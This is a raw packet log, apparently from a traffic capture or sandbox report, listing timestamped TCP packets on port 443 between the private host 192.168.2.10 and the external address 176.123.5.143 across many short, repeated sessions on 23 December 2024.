Dec 23, 2024 07:39:15.284427881 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.284482956 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.286307096 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.286326885 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.286374092 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.286380053 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.340003014 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.408094883 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.408116102 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.408230066 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.408247948 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.408301115 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.438721895 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.438798904 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.438808918 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.438852072 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.439124107 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.439141035 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.439157009 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.439162970 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.648246050 CET	49972	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.648298025 CET	443	49972	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.648408890 CET	49972	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.648525953 CET	49972	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.648571968 CET	443	49972	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.648617983 CET	49972	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.722479105 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.722537994 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.722625017 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.723723888 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:15.723737001 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:17.178901911 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:17.179008961 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:17.180449963 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:17.180474043 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:17.180723906 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:17.182096004 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:17.227329969 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.567357063 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.567384958 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.567399979 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.567501068 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.567536116 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.567554951 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.567589998 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.682969093 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.682995081 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.683092117 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.683120012 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.683175087 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.764055967 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.764086008 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.764236927 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.764266968 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.764309883 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.836014032 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.836107969 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.836118937 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.836150885 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.836355925 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.836378098 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:18.836390018 CET	49973	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:18.836395979 CET	443	49973	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:19.070162058 CET	49981	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.070199966 CET	443	49981	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:19.070343018 CET	49981	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.070518970 CET	49981	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.070628881 CET	443	49981	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:19.070694923 CET	49981	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.152894974 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.152946949 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:19.153072119 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.153450966 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:19.153465033 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:20.613636971 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:20.613727093 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:20.615675926 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:20.615685940 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:20.615992069 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:20.618144989 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:20.659333944 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.016397953 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.016426086 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.016442060 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.016555071 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.016585112 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.016602993 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.016658068 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.124597073 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.124627113 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.124710083 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.124732971 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.124764919 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.212198019 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.212234974 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.212306976 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.212336063 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.212390900 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.285842896 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.285927057 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.285981894 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.286030054 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.286351919 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.286365986 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.286393881 CET	49982	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.286398888 CET	443	49982	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.514524937 CET	49992	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.514574051 CET	443	49992	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.514663935 CET	49992	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.514854908 CET	49992	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.514904022 CET	443	49992	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.514959097 CET	49992	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.598372936 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.598412991 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:22.598484993 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.598859072 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:22.598875046 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:24.057955980 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:24.058033943 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:24.059238911 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:24.059250116 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:24.059505939 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:24.060669899 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:24.107326984 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.461466074 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.461515903 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.461561918 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.461581945 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.461608887 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.461623907 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.461648941 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.576308012 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.576375008 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.576426029 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.576445103 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.576458931 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.576477051 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.840056896 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.840107918 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.840156078 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.840157986 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.840218067 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.840228081 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.840269089 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.960033894 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.960134029 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.960161924 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.960238934 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.960283995 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.960515976 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.960529089 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:25.960541010 CET	49994	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:25.960546017 CET	443	49994	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:26.159019947 CET	50000	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.159081936 CET	443	50000	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:26.159209967 CET	50000	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.161163092 CET	50000	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.161223888 CET	443	50000	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:26.161288023 CET	50000	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.242204905 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.242269993 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:26.242392063 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.242808104 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:26.242827892 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:27.700170040 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:27.700294971 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:27.701788902 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:27.701807976 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:27.702091932 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:27.703433037 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:27.751333952 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.108124018 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.108196974 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.108242989 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.108266115 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.108299971 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.108318090 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.108345032 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.215177059 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.215234995 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.215266943 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.215295076 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.215325117 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.215341091 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.304224014 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.304312944 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.304363966 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.304389000 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.304418087 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.304439068 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.377552986 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.377643108 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.377674103 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.377726078 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.378021955 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.378040075 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.378057957 CET	50001	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.378063917 CET	443	50001	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.571988106 CET	50011	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.572037935 CET	443	50011	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.572103024 CET	50011	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.572179079 CET	50011	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.572277069 CET	443	50011	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.572334051 CET	50011	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.643702984 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.643748045 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:29.643840075 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.644201994 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:29.644222975 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:31.110445976 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:31.110620022 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:31.112134933 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:31.112143993 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:31.112380981 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:31.113790989 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:31.155378103 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.504540920 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.504573107 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.504587889 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.504786015 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.504801989 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.504895926 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.616713047 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.616748095 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.616934061 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.616950035 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.617012024 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.701062918 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.701102018 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.701165915 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.701179028 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.701241016 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.701241016 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.770546913 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.770678997 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.770688057 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.770745993 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.770802975 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.770971060 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.770971060 CET	50012	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.770982981 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.770992041 CET	443	50012	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.961724043 CET	50021	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.961771965 CET	443	50021	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.961991072 CET	50021	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.962080002 CET	50021	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:32.962182999 CET	443	50021	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:32.962260008 CET	50021	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:33.050079107 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:33.050106049 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:33.050302029 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:33.050595999 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:33.050610065 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:34.509732962 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:34.510112047 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:34.511483908 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:34.511496067 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:34.511743069 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:34.513335943 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:34.559340000 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:35.910131931 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:35.910159111 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:35.910181046 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:35.910217047 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:35.910239935 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:35.910285950 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:35.910285950 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.020442963 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.020467997 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.020601034 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.020632029 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.020786047 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.105927944 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.105945110 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.106153965 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.106188059 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.106242895 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.179258108 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.179339886 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.179446936 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.179446936 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.179577112 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.179600000 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.179613113 CET	50023	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.179620028 CET	443	50023	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.366455078 CET	50030	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.366503000 CET	443	50030	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.366673946 CET	50030	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.479717016 CET	50030	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.479775906 CET	443	50030	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.479974031 CET	50030	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.722429037 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.722470045 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:36.722544909 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.722872019 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:36.722884893 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:38.188915968 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:38.189131021 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:38.190768003 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:38.190776110 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:38.191106081 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:38.195343971 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:38.243326902 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.590472937 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.590518951 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.590540886 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.590719938 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:39.590743065 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.590796947 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:39.702958107 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.702991009 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.703152895 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:39.703171968 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.703217030 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:39.786505938 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.786561966 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.786585093 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:39.786600113 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:39.786639929 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:39.786639929 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.033488989 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.033607960 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.033646107 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.033684969 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.034110069 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.034130096 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.034164906 CET	50031	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.034169912 CET	443	50031	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.232165098 CET	50041	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.232213020 CET	443	50041	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.232306004 CET	50041	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.232877016 CET	50041	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.232979059 CET	443	50041	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.234147072 CET	50041	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.357671022 CET	50042	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.357721090 CET	443	50042	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:40.357829094 CET	50042	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.358290911 CET	50042	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:40.358305931 CET	443	50042	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:41.818043947 CET	443	50042	176.123.5.143	192.168.2.10
